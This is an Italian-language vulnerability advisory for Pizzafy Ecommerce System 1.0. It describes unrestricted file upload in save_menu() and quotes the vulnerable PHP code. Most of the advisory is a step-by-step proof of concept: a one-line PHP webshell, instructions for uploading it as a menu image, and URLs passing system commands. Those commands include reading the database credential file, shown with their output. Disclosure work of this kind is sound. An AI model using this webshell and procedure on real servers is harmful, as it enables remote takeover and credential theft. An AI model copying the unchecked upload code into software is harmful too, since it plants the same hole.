Pizzafy Ecommerce System 1.0 – Upload di file senza restrizioni in save_menu() consente l'esecuzione di codice in remoto

Dettagli

Componente interessato

File: Pizzafy/admin/admin_class_novo.php → funzione save_menu()
Parametro: img (FILE)
Percorso di upload: Pizzafy/assets/img/

Descrizione

La funzione save_menu() di Pizzafy Ecommerce System 1.0 gestisce il caricamento delle immagini per le voci di menu senza effettuare alcuna validazione del tipo di file. L'applicazione recupera l'estensione del file tramite pathinfo() ma non controlla né limita mai i tipi di file consentiti prima di spostare il file caricato nella directory assets/img/ accessibile dal web. Un amministratore autenticato può caricare una webshell PHP camuffata da immagine del menu, quindi accedervi direttamente tramite il browser per ottenere l'esecuzione di codice in remoto sul server.

Codice vulnerabile in admin_class_novo.php:

function save_menu(){
    extract($_POST);
    // ...
    if($_FILES['img']['tmp_name'] != ''){
        $fname = strtotime(date('y-m-d H:i')).'_'.$_FILES['img']['name'];
        $move = move_uploaded_file($_FILES['img']['tmp_name'],'../assets/img/'. $fname);
        $data .= ", img_path = '$fname' ";
    }
    // No extension check, no MIME type check
}

Prova di concetto

Passaggio 1 — Creare la webshell PHP

Creare un file denominato shell_web2.php con il seguente contenuto:

<?php echo shell_exec($_GET['cmd']); ?>

Passaggio 2 — Caricare la webshell tramite la gestione del menu

Accedere come amministratore e navigare fino a:

http://localhost/pizzafy/Pizzafy/admin/index.php?page=menu

Compilare il modulo del menu con valori validi e selezionare shell_web2.php come file immagine. Fare clic su Salva.

La shell ora è elencata come voce di menu nella pagina rivolta ai clienti.

Passaggio 3 — Individuare la shell caricata

Navigare fino alla directory degli asset — l'elenco delle directory è abilitato (CWE-548):

http://192.168.0.9/pizzafy/Pizzafy/assets/img/

La shell PHP caricata è visibile nell'elenco delle directory.

Passaggio 4 — Eseguire comandi remoti

Accedere direttamente alla shell caricata e passare comandi di sistema tramite il parametro cmd:

http://192.168.0.9/pizzafy/Pizzafy/assets/img/1775994120_shell_web2.php?cmd=whoami

Risposta — comando del sistema operativo eseguito sul server:

desktop-g1i9np3\dell

Comandi aggiuntivi

?cmd=whoami
?cmd=ipconfig
?cmd=dir C:\xampp\htdocs\pizzafy
?cmd=type C:\xampp\htdocs\pizzafy\Pizzafy\admin\db_connect.php

Impatto

Un amministratore autenticato può:

• Caricare file PHP arbitrari sul server web
• Eseguire qualsiasi comando a livello di sistema operativo sul server
• Leggere file sensibili, incluse le credenziali del database
• Stabilire una reverse shell per un accesso persistente completo
• Compromettere completamente il server sottostante

Nota sull'elenco delle directory (CWE-548)

La directory assets/img/ ha l'elenco delle directory abilitato, consentendo a utenti non autenticati di sfogliare tutti i file caricati, inclusa la webshell. Ciò aggrava la gravità della vulnerabilità di upload di file.

Riferimenti

• SourceCodester — Pizzafy Ecommerce System
• CWE-434: Upload di file senza restrizioni con tipo pericoloso
• CWE-548: Esposizione di informazioni tramite l'elenco delle directory.